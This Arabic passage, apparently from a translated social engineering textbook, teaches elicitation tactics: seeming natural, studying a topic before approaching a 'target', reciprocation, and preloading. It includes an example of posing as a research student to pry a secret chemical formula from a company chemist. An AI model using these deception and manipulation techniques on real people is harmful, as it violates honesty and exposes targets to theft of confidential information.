‫اﻟﻣﻌﻠوﻣﺎت ھﻲ اﻟﻣﻔﺗﺎح‪ .‬اﻟﻣزﯾد ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن ﺟﻣﻌﮭﺎ‪ ،‬ﯾؤدى اﻟﻰ ﻧﺟﺎح أﻛﺛر ﻟﻠﮭﺟوم‪ .‬وذﻟك ﻷن اﻠ ‪ Elicitation‬ﻻ ﯾﻌﺗﺑر ﺗﮭدﯾد‬
‫وﻧﺎﺟﺢ ﺟدا‪ .‬ﻗم ﺑﺣﺳﺎب ﻋدد اﻟﻣرات ﻟدﯾك ﻓﻲ اﻷﺳﺑوع واﻟﺗﻲ ﻗﻣت ﻓﯾﮭﺎ ﺑﻣﺣﺎدﺛﺎت ﻣﻊ ﺷﺧص ﻻ ﺗﻌرﻓﮫ ﻓﻲ اﻟﻣﺗﺟر‪ ،‬اﻟﻣﻘﮭﻰ‪ ،‬أو ﻓﻲ ﻣﻛﺎن آﺧر‪.‬‬
‫إن اﻟﻣﻧﮭﺟﯾﺔ اﻟﻛﺎﻣﻠﺔ ﻟﻌﻘد ﻣﺣﺎدﺛﺎت ﺗﻛون ﻏﺎرﻗﮫ ﻓﻲ اﻠ ‪ Elicitation‬وﯾﺳﺗﺧدﻣﮫ ﺑطرﯾﻘﺔ ﻏﯾر ﺧﺑﯾﺛﺔ ﯾوﻣﯾﺎ‪ .‬وھذا ھو اﻟﺳﺑب ﻓﻲ ﻛوﻧﮫ ﻓﻌﺎل ﺟدا‪.‬‬
‫ﻓﻲ اﻟﺣﻠﻘﺔ اﻻوﻟﻰ ﻣن ﺣﻠﻘﺎت اﻟﻣﺳﻠﺳل اﻟﺗﻠﻔزﯾوﻧﻲ اﻟﺑرﯾطﺎﻧﻲ اﻟﺷﮭﯾر ‪ ،The Real Hustle‬ﺣﯾث ﯾظﮭر ﺳﮭوﻟﺔ اﻟﻌدﯾد ﻣن ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻓﻲ ھذه اﻟﺣﻠﻘﺔ اﻟﮭدف ھو ﺗوﺟﯾﮫ اﻟﺷﺧص اﻟﮭدف ﻓﻲ ﻟﻌﺑﺔ اﻟﺣظ اﻟﺗﻲ ﺗم ﺗزوﯾرھﺎ‪ .‬ﻟﻠﻘﯾﺎم ﺑذﻟك ﻗﺎم اﻟﺷﺧص اﻟﺷرﯾك ﺑﻠﻌب دور‬
‫ﺷﺧص ﻏرﯾب ﺗﻣﺎﻣﺎ ﯾﻠﻌب دورا وﯾظﮭر اھﺗﻣﺎﻣﮫ وﯾﻘوم ﺑﻣﺧﺎطﺑﺔ اﻟﻣﮭﺎﺟم‪ .‬وﺗوﺟﮫ ھذه اﻟﻣﺣﺎدﺛﺔ اﻟﻰ اﻷﺷﺧﺎص )اﻟﮭدف( اﻟﻣﺣﯾطﯾن ﺑﮭم‪ ،‬اﻷﻣر‬
‫اﻟذي ﺟﻌﻠﮭﺎ اﺳﺗﺟﺎﺑﺔ اﻠ ‪ electing‬ﻣن اﻟﮭدف ﺳﮭﻼ ﻟﻠﻐﺎﯾﺔ‪ .‬ھذا ھو أﺳﻠوب واﺣد واﻟذي ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد‪.‬‬
‫أي ﻣن اﻟطرق اﻟﻣﺳﺗﺧدﻣﺔ‪ ،‬ﻓﺈن اﻟﮭدف ھو اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﺛم اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﺗﺣﻔﯾز اﻟﮭدف إﻟﻰ اﻟﻣﺳﺎر اﻟذي ﯾرﯾده‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬ﻓﮭم ھذه اﻟﺣﻘﯾﻘﺔ ھو اﻟﻣﮭم‪ .‬ﻓﻲ وﻗت ﻻﺣﻖ ﺳوف ﻧﻐطﻲ اﻟﺗﺳﺗر )‪ (pretexting‬وﺗﻛﺗﯾﻛﺎت اﻟﺗﻼﻋب اﻷﺧرى‪ ،‬وﻟﻛﻧﻧﺎ ﻻ‬
‫ﻧرﯾد أن ﻧﺧﻠط ھذا ﻣﻊ اﻠ ‪ .Elicitation‬ﺑﺎﻟﺗﺄﻛﯾد‪ ،‬ﻗد ﺗﻛون ﻣرﺗﺑطﺔ ارﺗﺑﺎطﺎ وﺛﯾﻘﺎ ﺑﺎﻟﺗﺳﺗر )‪ (pretexting‬اﻟﺧﺎص ﺑك‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬وإﺷﺎرات‬
‫اﻟﻌﯾن‪ ،‬وﻟﻛن ﻛل ھذه ﺗﺗﺿﺎءل ﺑﺎﻟﻣﻘﺎرﻧﺔ ﻣﻊ ﻗدرﺗك ﻋﻠﻰ إﺷراك اﻟﻧﺎس ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪.‬‬

‫ﺑﻌض ﻣن أﻓﻛﺎر اﻟﺧﺑراء ﻹﺗﻘﺎن ﻓن اﻟﻣﺣﺎدﺛﺔ واﻟﺗﻲ ﺗﺗﻣﺛل ﻓﻲ ﺛﻼث ﺧطوات رﺋﯾﺳﯾﺔ‪:‬‬
‫‪ .1‬ﻛن طﺑﯾﻌﯾﺎ )‪ (Be natural‬ﻻ ﺷﻲء ﯾﻣﻛﻧﮫ أن ﯾﻘﺗل اﻟﻣﺣﺎدﺛﺔ أﺳرع ﻣﻣﺎ ﺗﻛون ﻓﯾﮫ ﻏﯾر ﻣرﺗﺎح أو ﻏﯾر طﺑﯾﻌﻲ ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻟرؤﯾﺔ ھذا ﻓﻲ‬
‫ﻧﻔﺳك ﻓﻠﺗﺟرب ھذا اﻻﺧﺗﺑﺎر‪ .‬ﻗم ﺑﺈﺟراء ﻣﺣﺎدﺛﺔ ﻣﻊ ﺷﺧص ﻣﺎ ﻋن ﺷﻲء ﺗﻌرف اﻟﻛﺛﯾر ﻋﻧﮫ‪ .‬إذا ﻛﺎن ﯾﻣﻛﻧك ﺗﺳﺟﯾل ﺗﻠك اﻟﻣﺣﺎدﺛﺔ ﺑطرﯾﻘﺔ أو‬
‫ﺑﺄﺧرى أو اﺳﺗﺧدام ﺷﺧص آﺧر ﯾﺳﺟل ﻣﻼﺣظﺎت ﻋﻠﯾك‪ ،‬ﻛﯾف ﺗﻘف‪ ،‬اﻟوﺿﻊ اﻟﺧﺎص ﺑك‪ ،‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺳرد ﻓﯾﮭﺎ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﺟﻣﯾﻊ ھذه‬
‫اﻷﺷﯾﺎء ﺗزرع ﻓﯾك اﻟﺛﻘﺔ وﺗﺟﻌﻠك طﺑﯾﻌﯾﺎ‪ .‬ﺛم ﻗم ﺑﺈﺟراء ﻣﺣﺎدﺛﮫ ﻣﻊ ﺷﺧص ﻣﺎ ﻋن ﺷﻲء ﻻ ﺗﻌرف ﻋﻧﮫ ﺷﯾﺋﺎ وﻗم ﺑﻧﻔس اﻟﺗﺳﺟﯾل أو اﺳﺗﺧدام‬
‫ﺻدﯾﻖ ﻟﻣﻼﺣظﺗك‪ .‬اﻧظر ﻛﯾف ﺗﺗﻐﯾر ﻛل ﺗﻠك اﻟﺟواﻧب اﻟﻐﯾر ﻟﻔظﯾﺔ )وﺿﻌك – ﻛﯾف ﺗﻘف وﻏﯾرھﺎ( ﺑﺎﻟﻧﺳﺑﺔ ﻟك ﻋﻧد ﻣﺣﺎوﻟﺔ ﺣﻘن ﻓﻛره ﻣﺎ ﻓﻲ‬
‫ﻣﺣﺎدﺛﺔ ﻻ ﺗﻌرف ﻋﻧﮭﺎ ﺷﯾﺋﺎ‪ .‬ھذا اﻟﺗﻣرﯾن ﯾظﮭر ﻟك اﻟﻔرق ﻓﻲ أن ﺗﻛون طﺑﯾﻌﯾﺎ وﻏﯾر طﺑﯾﻌﯾﺎ‪ .‬ﻓﺈن اﻟﺷﺧص اﻟذي ﺗﺟرى ﻣﻌﮫ اﻟﻣﺣﺎدﺛﺔ ﺳوف‬
‫ﯾﻛون ﻗﺎدرا ﻋﻠﻰ رؤﯾﺔ ذﻟك ﺑﺳﮭوﻟﺔ‪ ،‬واﻟﺗﻲ ﺳوف ﺗﻘﺗل ﻛل ﻓرص ﻧﺟﺎح اﻠ ‪ .Elicitation‬ﻛﯾف ﺗﺑدوا طﺑﯾﻌﯾﺎ ﻓﻲ اﻟﻣﺣﺎدﺛﺎت؟ وھﻛذا وﺻﻠﻧﺎ إﻟﻰ‬
‫اﻟﺧطوة ‪.2‬‬
‫‪ .2‬ﺛﻘف‪/‬ﻋﻠم ﻧﻔﺳك )‪ (Educate yourself‬ﯾﺟب أن ﯾﻛون ﻟدﯾك اﻟﻣﻌرﻓﺔ ﻋﻠﻰ ﻣﺎ ﺳوف ﯾﻛون ﻋﻠﯾﮫ اﻟﺣدﯾث ﻣﻊ ھدﻓك‪.‬‬
‫أﻧﮫ ﻣن اﻟﺿروري ان ﻻ ﺗﺗظﺎھر أﻛﺛر ﻣﻣﺎ ﺗﻌﺗﻘد‪ .‬ﻟﺗوﺿﯾﺢ ذﻟك ﻓﺎﻧظر اﻟﻰ اﻟﻣﺛﺎل اﻟﺗﺎﻟﻲ‪ .‬إذا أردت اﻟﺣﺻول ﻋﻠﻰ اﻟﺗرﻛﯾب اﻟﻛﯾﻣﯾﺎﺋﻲ ﻟﻣﻧﺗﺞ‬
‫ﺳري‪ ،‬واﻟﮭدف اﻟﺧﺎص ﺑك ھو واﺣدة ﻣن اﻟﻛﯾﻣﯾﺎﺋﯾﯾن اﻟﻣﺷﺎرﻛﯾن ﻓﻲ ﺻﻧﻊ اﻟﻣﻧﺗﺞ‪ ،‬ﺛم ﻗررت ﺑدء اﻟﺣدﯾث ﻛﯾﻣﯾﺎﺋﯾﺎ‪ ،‬ﻻ ﺗﻠﻌب دور ﻛﯾﻣﯾﺎﺋﻲ ﻋﻠﻰ‬
‫درﺟﮫ ﻋﺎﻟﯾﺔ ﻣن اﻟﻌﻠم ﻛﺎﻟﻌﺎﻟم )إﻻ إذا ﻛﻧت(‪ .‬ﺣﯾث اﻧﮫ ﻣن اﻟﻣﻣﻛن أن ﯾرﻣﻲ ﺷﻲء ﯾظﮭر ﺟﮭﻠك واﻟذي ﻣن اﻟﻣﻣﻛن ان ﯾﻧزع اﻟﻐطﺎء اﻟﺧﺎص ﺑك‪،‬‬
‫وﻛذﻟك اﻠ ‪.Elicitation‬‬
‫ﻗد ﯾﻛون ھﻧﺎك ﻧﮭﺞ أﻛﺛر واﻗﻌﯾﺔ وھو أن ﺗﺧﺑره ﺑﺎﻧك طﺎﻟب ﻓﻲ ﻣرﻛز اﻟﺑﺣوث وﺗدرس ﻣﺛﻼ ‪ ،XYZ‬وﻗﯾل ﻟﻲ ﺑﺎﻧك )اﻟﮭدف( ﻋﻠﻰ ﻋﻠم ﻣذھل‬
‫ﺑﮭذا اﻟﻣﺟﺎل‪ .‬ﻧظرا ﻟﺧﺑرﺗك‪ ،‬أردت ﻓﻘط طرح ﺑﻌض اﻷﺳﺋﻠﺔ ﻋن اﻟﺻﯾﻐﺔ اﻟﻛﯾﻣﯾﺎﺋﯾﺔ اﻟﺗﻲ اﻋﻣل ﻋﻠﯾﮭﺎ وﻟﻣﺎذا ﻻ ﺗﺑدو أﻧﮭﺎ ﺗﻌﻣل‪.‬‬
‫ھذه اﻟﻧﻘطﺔ ھﻲ ﻛل ﻣﺎ اﺧﺗرت اﻟﺗﺣدث ﻋﻧﮫ وﻟﻣن ﻣﻌﮫ‪ ،‬ﻗم ﺑﺈﺟراء اﻟﺑﺣوث‪ ،‬واﻟﻣﻣﺎرﺳﺔ‪ ،‬ﺣﺗﻰ ﺗﻛون ﻣﺳﺗﻌدا‪ .‬أ ٌﻣﻠك ﻣﺎ ﯾﻛﻔﻲ ﻣن اﻟﻣﻌرﻓﺔ ﺣﺗﻰ‬
‫ﺗﺗﻛﻠم ﺑذﻛﺎء ﻋن اﻟﻣوﺿوع اﻟذي ﺳوف ﯾﺟذب اﻧﺗﺑﺎه اﻟﮭدف‪.‬‬
‫‪ .3‬ﻻ ﺗﻛن ﺟﺷﻌﺎ‪/‬طﻣﺎﻋﺎ )‪ (Don’t be greedy‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬اﻟﮭدف ھو اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت واﻟﺣﺻول ﻋﻠﻰ اﻹﺟﺎﺑﺎت‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ‬
‫اﻟﺣﺻول ﻋﻠﻰ ﻣﻔﺗﺎح اﻟﻣﻣﻠﻛﺔ‪ .‬ﺣﺗﻰ اﻵن‪ ،‬ﻻ ﺗدع ھذا أن ﯾﻛون أﻛﺛر ﺗرﻛﯾزك‪ .‬ﺣﯾث إﻧك ﺗﻛون ھﻧﺎ وﺣﯾدا )أي ﻧﻔﺳك( ﻣﻣﺎ ﯾﺟﻌﻠك واﺿﺣﺎ‬
‫ﺑﺳرﻋﮫ واﻟﮭدف ﺳوف ﯾﻔﻘد اﻻھﺗﻣﺎم‪ .‬ﻏﺎﻟﺑﺎ‪ ،‬ﻗم ﺑﺈﻋطﺎء اﻟﺷﺧص ﺷﯾﺋﺎ ﻣﺎ ﯾﺛﯾر ﺷﻌور اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل )‪) (reciprocation‬ﺳوف ﺗﻧﺎﻗش‬
‫ﻻﺣﻘﺎ(‪ ،‬ﺣﯾث اﻧﮫ ﯾﺷﻌر ﺑﺎﻻﻟﺗزام ﻟﯾﻌطﯾك ﺷﯾﺋﺎ ﻓﻲ اﻟﻣﻘﺎﺑل‪ .‬اﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ ﻓﻲ اﻟﻣﺣﺎدﺛﺔ ﻣﮭم‪ .‬أﺟﻌل اﻟﻣﺣﺎدﺛﺔ ﻗﺎﺋﻣﮫ ﻋﻠﻰ اﻷﺧذ واﻟﻌطﺎء‪،‬‬
‫إﻻ إذا ﻛﻧت ﺗﺗﺣدث ﻣﻊ ﺷﺧص ﯾرﯾد اﻟﺳﯾطرة ﻋﻠﻰ اﻟﻣﺣﺎدﺛﺔ‪ .‬إذا أراد أن ﯾﮭﯾﻣن ﻋﻠﻰ اﻟﻣﺣﺎدﺛﺔ‪ ،‬ﻓﺎﺳﻣﺢ ﻟﮫ‪ .‬وﻟﻛن إذا ﻛﻧت ﻗد ﺣﺻﻠت ﻋﻠﻰ‬
‫ﺑﻌض اﻹﺟﺎﺑﺎت اﻟﻘﻠﯾﻠﺔ‪ ،‬وﺗﺷﻌر ان اﻟﻣﺣﺎدﺛﺔ ﺑدأت ﻓﻲ اﻟﺧروج ﻋن اﻟﺳﯾطرة ﻣن ﻣﺣﺎدﺛﺔ ﻓﻼ ﺗﻛن ﺟﺷﻌﺎ او طﻣﺎﻋﺎ ﺑﻣﺣﺎوﻟﺔ اﻟذھﺎب أﻋﻣﻖ‪،‬‬
‫واﻟﺗﻲ ﻣن اﻟﻣﻛن أن ﺗرﻓﻊ اﻟﻌﻠم اﻻﺣﻣر‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪809‬‬

‫ھذه اﻟﺧطوات اﻟﺛﻼث اﻟﺗﻲ ﺗؤدى اﻟﻰ ﻧﺟﺎح ‪ Elicitation‬ﯾﻣﻛﻧﮭﺎ ﺗﻐﯾﯾر طرﯾﻘﺔ اﻟﺗﺣدث ﻣﻊ اﻟﻧﺎس اﻟﯾوﻣﯾﺔ‪ ،‬وﻟﯾس ﻓﻘط ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ أو‬
‫ﻣدﻗﻖ ﺣﺳﺎﺑﺎت اﻷﻣن‪ ،‬وﻟﻛن ﻛﺷﺧص ﻋﺎدى‪ .‬وأﻧﺎ ﺷﺧﺻﯾﺎ أﺣب اﺳﺗﺧدام واﺣد أو أﺛﻧﯾن ﻣن اﻟﺧطوات اﻟﺛﻼﺛﺔ اﻟﻣذﻛورة ﻓﻲ اﻷﻋﻠﻰ‪.‬‬

‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬أﺣد اﻟﺟواﻧب اﻟﮭﺎﻣﺔ ﻠﻠ ‪ Elicitation‬ھو ﺗﻌﺎﺑﯾر اﻟوﺟﮫ ﺧﻼل اﻟﻣﺣﺎدﺛﺔ‪ .‬اﻟﻧظرة اﻟﺣﺎدة ) َﺣ ْﻣﻠَﻘَﺔ( ﺳواء ﻛﺎﻧت ﻣﻛﺛﻔﺔ ﺟدا أو‬
‫ﻣﺳﺗرﺧﯾﮫ ﺟدا ﻗد ﺗؤﺛر ﻋﻠﻰ طرﯾﻘﺔ رد ﻓﻌل اﻟﻧﺎس ﻋﻠﻰ أﺳﺋﻠﺗك‪ .‬إذا ﻛﺎﻧت ﻛﻠﻣﺎﺗك ھﺎدﺋﺔ وﻟﻛن ﻟﻐﺔ اﻟﺟﺳد وﺗﻌﺑﯾرات اﻟوﺟﮫ ﺗظﮭر ﻋدم اﻻھﺗﻣﺎم‪،‬‬
‫ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾؤﺛر ﻋﻠﻰ اﻟﺣﺎﻟﺔ اﻟﻣزاﺟﯾﺔ ﻟﻠﺷﺧص‪ ،‬ﺣﺗﻰ ﻟو ﻟم ﯾدرك ذﻟك‪.‬‬
‫ﺳﯾزار ﻣﯾﻼن‪ ،‬وﯾﻌرف أﯾﺿﺎ ﺑﺎﺳم‪ .Dog Whisperer ،‬ﺣﯾث ﯾﺄﺧذ اﻟﻛﻼب اﻟﺗﻲ ﺗﺑدو ﺟﺎﻣﺣﺔ وﻓﻲ ﻏﺿون دﻗﺎﺋﻖ ﯾﺟﻌل اﻟﻛﻼب وأﺻﺣﺎﺑﮭﺎ‬
‫ﻋﻠﻰ ﺣد ﺳواء ﻋﻠﻰ درﺟﺔ ﻋﺎﻟﯾﺔ ﻣن اﻟﺳﻣﺎت اﻟﺷﺧﺻﯾﺔ واﻟﺗﻲ ﺳوف ﺗﺣﻘﻖ ﻋﻼﻗﺔ ﻧﺎﺟﺣﺔ ﺟدا ﻋﻠﻰ ﺣد ﺳواء‪ .‬اﻧﮫ اﺳﺎﺳﺎ ﯾﻌﻠم اﻟﻧﺎس ﻛﯾﻔﯾﺔ‬
‫اﻟﺗواﺻل ﻣﻊ اﻟﻛﻠب‪ ،‬ﻛﯾف ﯾﻣﻛﻧﮫ أن ﯾﺳﺄل وﯾﺧﺑر ﺑﻔﻌل أﺷﯾﺎء ﺑﺎﻟﻠﻐﺔ اﻟﺗﻲ ﯾﻔﮭﻣﮭﺎ‪ .‬ﺣﯾث أن واﺣدة ﻣن اﻷﺷﯾﺎء اﻟﺗﻲ ﻛﺎن ﯾﻌظ ﺑﮭﺎ واﻟﺗﻲ أؤﻣن ﺑﮭﺎ‬
‫ﺗﻣﺎﻣﺎ ھﻲ أن "اﻟروح" أو طﺎﻗﺔ اﻟﺷﺧص ﺗؤﺛر ﻋﻠﻰ "روح" أو طﺎﻗﺔ اﻟﻛﻠب‪ .‬أو ﺑﻌﺑﺎرة أﺧرى‪ ،‬إذا ﻛﺎن اﻟﺷﺧص اﻟذي ﯾﻘﺗرب ﻣن اﻟﻛﻠب ﻣﺗوﺗر‬
‫وﻗﻠﻘﺎن‪ ،‬ﺣﺗﻰ ﻟو اﺳﺗﺧدم اﻟﻛﻠﻣﺎت ﻓﻲ ھدوء‪ ،‬ﻓﺈن اﻟﻛﻠب ﯾﺗﺻرف ﺑﺗوﺗر‪ ،‬وﯾﻧﺑﺢ أﻛﺛر‪.‬‬
‫ﻣن اﻟواﺿﺢ‪ ،‬أن اﻟﻧﺎس ﻟﯾﺳت ﻣﺛل اﻟﻛﻼب وﻟﻛن أﻋﺗﻘد ﺣﻘﺎ أن ھذه اﻟﻔﻠﺳﻔﺔ ﺗﻧطﺑﻖ‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﻘﺗرب ﻣن اﻟﮭدف ﻓﺎن "روﺣﮫ" أو طﺎﻗﺗﮫ‬
‫ﺳوف ﺗؤﺛر ﻋﻠﻰ ﻧظرة اﻟﺷﺧص‪ .‬وﺗﺗﻣﺛل اﻟطﺎﻗﺔ ﻣن ﺧﻼل ﻟﻐﺔ اﻟﺟﺳد‪ ،‬ﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬اﻟﻠﺑﺎس‪ ،‬اﻻﻋداد اﻟﺷﺧﺻﻲ‪/‬اﻟﺗﺑرج‪ ،‬وﻣن ﺛم اﻟﻛﻠﻣﺎت‬
‫اﻟﻣﻧطوﻗﺔ ﻟدﻋم ذﻟك‪ .‬دون ﺣﺗﻰ أن ﯾﻌرﻓوا ذﻟك‪ ،‬اﻟﻧﺎس ﺗﻠﺗﻘط ﻣﺛل ھذه اﻷﺷﯾﺎء‪ .‬ھل ﻓﻛرت او ﺳﻣﻌت أﺣدھم ﯾﻘول "أن ھذا اﻟرﺟل ﯾﺟﻌﻠﻧﻲ‬
‫اﻗﺷﻌر؟" أو "أن ھذا اﻟﺷﺧص ﻟطﯾف"؟‬
‫ﻛﯾف ﺗﻌﻣل؟ ﺣﯾث ﯾﺗم ﺗرﺣﯾل روح اﻟﺷﺧص أو اﻟطﺎﻗﺔ ﻟدﯾﮫ اﻟﻰ "أﺟﮭزة اﻻﺳﺗﺷﻌﺎر"‪ ،‬واﻟذي ﯾﻘوم ﺑرﺑط ﺗﻠك اﻟﺑﯾﺎﻧﺎت ﻣﻊ اﻟﺗﺟﺎرب اﻟﺳﺎﺑﻘﺔ‪ ،‬وﻣن‬
‫ﺛم ﯾﺗم ﺗﺷﻛﯾل اﻟﺣﻛم‪ .‬اﻟﻧﺎس ﯾﻔﻌﻠون ذﻟك ﻋﻠﻰ اﻟﻔور‪ ،‬ﻣرات ﻋدﯾدة دون ﺣﺗﻰ أن ﯾﻌرﻓوا ﺑذﻟك‪ .‬ﻟذﻟك ﻓﺎن اﻟطﺎﻗﺔ اﻟﺧﺎﺻﺔ ﺑك ﻋﻧدﻣﺎ ﺗﺳﯾر ﻟﻠﻘﯾﺎم ﺒ‬
‫‪ Elicitation‬ﻓﯾﺟب أن ﺗﺗطﺎﺑﻖ ﻣﻊ اﻟدور اﻟذي أﻧت ذاھب ﻟﺗﻠﻌﺑﮫ‪ .‬إذا ﻛﺎﻧت ﺷﺧﺻﯾﺗك أو ﻋﻘﻠﯾﺗك ﻻ ﺗﻣﻛﻧك ﻣن اﻟﻠﻌب ﺑﺳﮭوﻟﺔ ﻛﻣدﯾر ﻓﻼ‬
‫ﺗﺣﺎول ذﻟك‪ .‬ﻓﺎﻋﻣل ﻣﻊ ﻣﺎ ﻟدﯾك ﻣن إﻣﻛﺎﻧﯾﺎت‪ .‬ﺷﺧﺻﯾﺎ‪ ،‬أذا ﻛﺎﻧت ﻟﯾس ﻟدﯾك ﺷﺧﺻﯾﺔ اﻟﻣﻌرﻓﺔ ﻣﺛل اﻟﻛﯾﻣﯾﺎﺋﻲ أو اﻟرﯾﺎﺿﯾﺎت اﻟﻣﺗﻘدﻣﺔ‪ .‬ﻓﻼ‬
‫ﺗﺣﺎول ﻟﻌب ھذا اﻟدور ﻣﻊ اﻻﺷﺧﺎص اﻟذﯾن ﯾﻌرف ﻋن ﺗﻠك اﻷﺷﯾﺎء‪ .‬ﻣﮭﻣﺎ ﻛﺎﻧت اﻷﺳﺎﻟﯾب اﻟﺗﻲ اﺧﺗﯾرت ﻟﻼﺳﺗﺧدام‪ ،‬ﯾﻣﻛﻧك اﺗﺧﺎذ ﺑﻌض ﻣن‬
‫ھذه اﻟﺧطوات ﻟﺗﻛون ﻟك اﻟﯾد اﻟﻌﻠﯾﺎ‪ .‬وﯾطﻠﻖ ﻋﻠﻰ واﺣدة ﻣن ھذه اﻟﺧطوات ‪.preloading‬‬

‫‪Preloading‬‬
‫ﻋﻧدﻣﺎ ﺗﻘف ﻓﻲ طﺎﺑور ﻟﺷراء ﺗذﻛرة ﺳﯾﻧﻣﺎ ﺒ ‪ ،$10‬ﻓﺈﻧك ﺳوف ﺗرى اﻟﻌدﯾد ﻣن ﻣﻠﺻﻘﺎت اﻷﻓﻼم اﻟﻘﺎدﻣﺔ‪ .‬أﻧت ﺗﻘف ﻓﻲ طﺎﺑور ﻟﺷراء اﻟﻔﺷﺎر‬
‫واﻟﻣﺷروﺑﺎت ﺑﻣﺑﻠﻎ ‪ ،$40‬ﺳوف ﺗرى اﻟﻣزﯾد ﻣن اﻟﻣﻠﺻﻘﺎت‪ ،‬ﺛم اﺗﺧذت طرﯾﻘك ﻟﻠﺣﺻول ﻋﻠﻰ ﻣﻘﻌد‪ .‬أﺧﯾرا‪ ،‬ﻋﻧدﻣﺎ ﯾﺑدأ اﻟﻔﯾﻠم ﻓﺎﻧﮫ ﯾﻘدم ﺳﻠﺳﻠﺔ‬
‫ﻣن اﻟﻣﻘﺎطﻊ ﻋن اﻷﻓﻼم اﻟﻘﺎدﻣﺔ‪ .‬أﺣﯾﺎﻧﺎ ھذه اﻷﻓﻼم ﻟم ﺗﻧﺗﺞ ﺑﻌد‪ ،‬وﻟﻛن ﯾﺄﺗﻲ اﻟﻣذﯾﻊ وﯾﻘول‪" :‬ﻣﻊ أطرف اﻷﻓﻼم‪ "...‬أو اﻟﻣوﺳﯾﻘﻰ ﺗﺑدأ ﻣﻊ ﻟﮭﺟﺔ‬
‫ﻣﺷﺋوﻣﮫ‪ ،‬اﻟﺿﺑﺎب اﻟﻛﺛﯾف ﯾﻣﻸ اﻟﺷﺎﺷﺔ‪ " ،‬ﻓﺈﻧك ﺳوف ﺗﻔﻛر أن ھذا ﻓﻠم رﻋب"‪ .‬او ﺑﻣﻌﻧﻰ اﺧر ﻣﺛل ‪ trailer‬اﻟﺧﺎص ﺑﺎﻷﻓﻼم‪.‬‬
‫أﯾﺎ ﻛﺎن اﻟﻔﯾﻠم‪ ،‬ﻓﺎن اﻟﻣﺳوﻗﯾن ﯾﻘوﻟون ﻟك ﻛﯾف ﺗﺷﻌر‪ ،‬او ﺑﻌﺑﺎرة أﺧرى‪ preloading ،‬ﻣﺎ اﻟذي ﯾﺟب ان ﺗﻔﻛر ﻓﯾﮫ ﻋن ھذا اﻟﻔﯾﻠم ﻗﺑل أن ﯾﺑدا‬
‫اﻟﻌرض‪ .‬ﺛم ﻓﺗرة ﻗﺻﯾرة ‪ 3-1‬دﻗﺎﺋﻖ ﻟﯾﻌرض ﻟك ﻣﺎ اﻟذي ﯾﺗﻛﻠم ﻋﻧﮫ اﻟﻔﯾﻠم ﺛم ﯾظﮭر ﻟك ﻣﻘﺎطﻊ ﻟﺟذب اﻟرﻏﺑﺔ ﻟدﯾك ﻟﻣﺷﺎھدة اﻟﻔﯾﻠم وﻣﻧﺎﺷدة‬
‫اﻟﺟﻣﺎھﯾر اﻟﺗﻲ ﺗرﯾد اﻟﻛوﻣﯾدﯾﺎ‪ ،‬اﻟرﻋب‪ ،‬أو ﻗﺻﺔ ﺣب‪.‬‬
‫ﻻ ﯾوﺟد اﻟﻛﺛﯾر ﻣن اﻟﻛﺗﺎب اﻟذﯾن ﺗﺣدﺛوا ﻋن ‪ ،preloading‬وﻟﻛن ھذا اﻟﻣوﺿوع ﺧطﯾر ﺟدا‪ Preloading .‬ﯾﺳﺗﮭدف ﺑﺎﻷﻓﻛﺎر أو اﻟﻣﻌﻠوﻣﺎت‬
‫ﺣول ﻛﯾف ﺗرﯾد ﻣﻧﮭم اﻟﺗﻌﺎﻣل ﻣﻊ ﺑﻌض اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم اﻠ ‪ preloading‬ﻓﻲ رﺳﺎﺋل اﻟﺗﺳوﯾﻖ؛ ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﻣﻘﺎطﻊ‬
‫اﻟدﻋﺎﺋﯾﺔ ﻋن اﻷﻓﻼم‪ ،‬إﻋﻼﻧﺎت اﻟﻣطﺎﻋم وﻏﯾرھﺎ ﻣن اﻟﻣﻘﺎطﻊ اﻟﺗﺳوﯾﻘﯾﺔ اﻷﺧرى‪.‬‬
‫ﻛﯿﻒ ﯾﻤﻜﻨﻚ اﺳﺘﺨﺪام ‪preloading‬؟‬
‫ﻛﻣﺎ ھو اﻟﺣﺎل ﻓﻲ ﻋﺎﻟم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﻌﻠﯾك أن ﺗﺑدأ ﻣن أﺧر اﻟﻧﺗﺎﺋﺞ واﻟﻌﻣل ﻣن اﻟوراء‪ .‬ﻣﺎ ھو ھدﻓك؟ ﻗد ﯾﻛون ﻟدﯾك ھدف ﻣن اﻠ‬
